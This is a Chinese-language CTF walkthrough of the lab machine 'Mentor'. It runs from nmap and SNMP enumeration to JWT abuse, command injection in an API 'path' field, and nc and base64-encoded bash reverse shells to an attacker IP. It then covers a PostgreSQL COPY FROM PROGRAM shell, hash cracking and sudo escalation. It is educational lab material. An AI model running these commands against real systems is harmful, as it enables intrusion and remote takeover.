
USER
nmap -T4 -v -A -Pn 10.10.11.193 -oN mentor.txt

将mentorquotes.htb 添加到 hosts
80 端口是一个 flask 框架的静态网站

重新扫描一遍 udp 端口
nmap -sU -F 10.10.11.193 -oN mentor_udp.txt

对于 udp 端口,有 68 和 161,分别作为 dhcp 服务和 snmp 服务
爆破 subdomain 和 directory
对于不存在的subdomain 都返回的 302,所以指定 200 和 404 过滤
ffuf -w /home/kali/dict/fuzzDicts/directoryDicts/dicc.txt -u "http://mentorquotes.htb/FUZZ" -c
server-status 没有权限

api 报 404

那么再跑一下 api 的 directory
ffuf -w /home/kali/dict/fuzzDicts/directoryDicts/dicc.txt -u "http://api.mentorquotes.htb/FUZZ" -c

其中 http://api.mentorquotes.htb/docs#/ 为 swagger ui

然后http://api.mentorquotes.htb/openapi.json可以查看到
name:james 和 email:[email protected]

/auth/signup 注册我们自己的账号
curl api.mentorquotes.htb/auth/signup -X POST -H 'Content-Type: application/json' -d '{"email":"[email protected]","username":"cxkgg","password":"jinitaimei"}'

/auth/login 登录,会返回一个 jwt 令牌
curl api.mentorquotes.htb/auth/login -X POST -H 'Content-Type: application/json' -d '{"email":"[email protected]","username":"cxkgg","password":"jinitaimei"}'

如果我们直接用 jwt 来访问 /admin,会提示没有权限,只有管理员用户可以访问
curl http://api.mentorquotes.htb/admin/ -H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImN4a2dnIiwiZW1haWwiOiJjeGtAbWVudG9yLmh0YiJ9.WZV9DmlP6joxZIlOfmjhK00jq7-0x1V3dFh67iMFR4A'

由于目标机器上还有 snmp 服务,所以使用 snmpwalk 来查看一下 public,但是并没有什么有用的信息
snmpwalk -v2c -c public 10.10.11.193

使用snmpbrute.py 爆破社区字符串
python snmpbrute.py -t 10.10.11.193 -f /home/kali/dict/SecLists/Discovery/SNMP/common-snmp-community-strings.txt

可以发现除了 public 还有 internal,那就用 internal 查看一下
snmpwalk -v2c -c internal 10.10.11.193

等了很久,我们可以看见有一个 login.py,后面跟了字符串 kj23sadkj123as0-d213,有可能是密码
可以用来获取到james 的 jwt
curl http://api.mentorquotes.htb/auth/login -X POST -H 'Content-Type: application/json' -d '{"email":"[email protected]","username":"james","password":"kj23sadkj123as0-d213"}'

用 james 的 jwt 访问/admin
curl http://api.mentorquotes.htb/admin/ -H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0'

提示可以访问/admin/backup
curl http://api.mentorquotes.htb/admin/backup -H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0'

根据提示Method Not Allowed,更改为 post 访问
最终构造命令如下
curl http://api.mentorquotes.htb/admin/backup -H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' -X POST -H 'Content-Type:application/json' -d '{}'

又提示缺少 path 参数
curl http://api.mentorquotes.htb/admin/backup -H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' -X POST -H 'Content-Type:application/json' -d '{"path":"cxk"}'

尝试通过 path 参数进行命令注入
curl http://api.mentorquotes.htb/admin/backup -H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' -X POST -H 'Content-Type:application/json' -d '{"path":"$(wget http://10.10.14.24:8080/cxk)"}'

成功触发,那么就可以尝试反弹 shell
但是 bash 的反弹都不行,尝试使用了 nc 反弹成功
curl http://api.mentorquotes.htb/admin/backup -H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' -X POST -H 'Content-Type:application/json' -d '{"path":"$(nc 10.10.14.24 5566 -e /bin/sh)"}'

但是反弹回来就是 root,肯定不对,查看了一下,果然在 docker 里面

上传 fscan 扫描一下环境

可以看到172.22.0.1 是主机,只有172.22.0.4 有 postgreSQL 服务,可以查看
传入 chisel,创建隧道
./chisel server -p 8000 --reverse
./chisel client 10.10.14.24:8000 R:5432:172.22.0.4:5432

使用默认凭证登录 postgres
psql -U postgres -h 127.0.0.1 -p 5432

查看权限,postgres 有超级用户权限
\du

那就可以利用 postgreSQL 的COPY ... FROM PROGRAM
执行系统命令
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

echo "bash -i >& /dev/tcp/10.10.14.24/5567 0>&1"|base64
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNC81NTY3IDA+JjEK|base64 -d|bash';
SELECT * FROM cmd_exec;

在/var/lib/postgresql/data/pg_backup 目录下发现了db_export.sql

可以找到密码,接下里就是破解

hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt --username --show

破解到service_acc:123meunomeeivani
ssh 连接到 svc,这里就可以看到 user.txt

ROOT
由于我们知道机器上运行了 snmp,那么就查看一下 snmp 配置文件
cat /etc/snmp/snmpd.conf

我们可以看到一个密码 SuperSecurePassword123__
尝试通过这个密码切换 james 用户,成功!

sudo -l 查看,可以以 root 命令执行/bin/bash

提权到 root,直接查看 root.txt


Comments | NOTHING